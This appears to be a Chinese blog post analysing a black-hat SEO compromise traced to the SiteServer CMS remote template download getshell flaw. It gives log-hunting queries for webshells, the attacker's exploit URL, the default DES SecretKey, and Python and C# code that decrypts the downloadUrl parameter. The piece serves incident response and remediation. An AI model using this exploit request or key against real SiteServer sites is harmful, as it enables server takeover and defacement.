SiteServer CMS远程模板下载getshell漏洞导致的黑SEO利用分析溯源

前言

某日中午,收到上级下发的任务,涉及一代理商客户网站发现异常SQ内容,要求进行溯源分析并找出根本原因。

0x01 初步分析

通过提供的链接(www.xxx.com.cn/2023j19tPLKn2/55151),确认涉及黑帽SEO活动,通过百度搜索进一步验证也证实了这一点。

0x02 日志分析

黑客常常在植入菠菜或非法广告的网站中设置后门文件。我们可通过以下webshell特征进行日志分析:

- 请求方式为POST
- 文件后缀为php、asp、aspx、jsp
- 静态资源文件夹(如/Images/、/js/)中含有php、aspx等后缀的文件

相应的SQL查询语句如下:

SELECT * FROM database.attack_tables WHERE method = 'POST' AND uri REGEXP 'php$|asp$|aspx$|jsp$'

根据以上特征,发现两个可疑URL:

  1. https://www.xxx.com.cn/api/k.aspx
  2. https://www.xxx.com.cn/images/api.ashx

进一步筛选访问过上述URL的攻击IP,查询成功攻击的日志:

SELECT * FROM database.attack_tables WHERE IP = '攻击IP' AND resp_code = '200'

发现以下URL:

www.xxx.com.cn/siteserver/Ajax/ajaxOtherService.aspx?type=SiteTemplateDownload&userKeyPrefix=test&downloadUrl=Mu4qBmu7IHKIIv1cW8CJW0OAFsrTC9ENRNAF3QQvd5YZhQOTBxV7UQ0equals00equals0&directoryName=SiteFiles

模拟恶意攻击发现,浏览器返回站点模板下载成功的提示。由此推断,该站点因存在SiteServer CMS远程模板下载getshell漏洞而遭受黑帽SEO利用。


0x03 详细分析

SiteServer CMS是一款开源、跨平台、企业级的CMS内容管理系统,能够快速建立功能齐全、性能优异、易于维护的网站。漏洞出现在后台模板下载位置未对用户权限进行校验,并且ajaxOtherService中的downloadUrl参数可被控制,从而导致getshell。版本5.0及以下均受影响。漏洞利用过程中,DecryptStringBySecretKey函数用于解密downloadurl,随后调用SiteTemplateDownload函数下载模板并自解压。

5.0版本中,SecretKey的默认值为:

vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5

首先使用Python脚本还原downloadUrl的值:

str_decry = "Mu4qBmu7IHKIIv1cW8CJW0OAFsrTC9ENRNAF3QQvd5YZhQOTBxV7UQ0equals00equals0"
str_decry = str_decry.replace("0add0", "+").replace("0equals0", "=").replace("0and0", "&").replace("0question0", "?").replace("0slash0", "/")

print (str_decry)


然后使用C#代码将其还原为默认下载链接(www.bejson.com/runcode/csharp):

using System; 
using System.IO; 
using System.Security.Cryptography; 
using System.Text; 
namespace EncryptApplication 
{ class Encrypt 
    { static void Main(string[] args) 
      { 
        var _encryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5"; 
        var _decryptKey = "vEnfkn16t8aeaZKG3a4Gl9UUlzf4vgqU9xwh8ZV5";
        var _inputString = "Mu4qBmu7IHKIIv1cW8CJW0OAFsrTC9ENRNAF3QQvd5YZhQOTBxV7UQ==";
        var _outString = ""; 
        var _noteMessage = "";
        byte[] iv = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF };
        try
        { 
          var byKey = Encoding.UTF8.GetBytes(_decryptKey.Substring(0, 8)); 
          var des = new DESCryptoServiceProvider(); 
          var inputByteArray = Convert.FromBase64String(_inputString);
          var ms = new MemoryStream(); 
          var cs = new CryptoStream(ms, des.CreateDecryptor(byKey, iv), CryptoStreamMode.Write);
              cs.Write(inputByteArray, 0, inputByteArray.Length);
              cs.FlushFinalBlock();
          Encoding encoding = new UTF8Encoding();
          _outString = encoding.GetString(ms.ToArray());
         Console.WriteLine("DesEncrypt:"); Console.WriteLine(_outString); }
      catch (Exception error) { _noteMessage = error.Message; } 
 } } }
 

最终还原结果如下:


0x03 修复建议

建议升级到最新版本:https://sscms.com/docs/v7/updates/#更新版本-v7-2-2

posted @ 2024-02-19 16:52  BMCel  阅读(312)  评论(0编辑  收藏  举报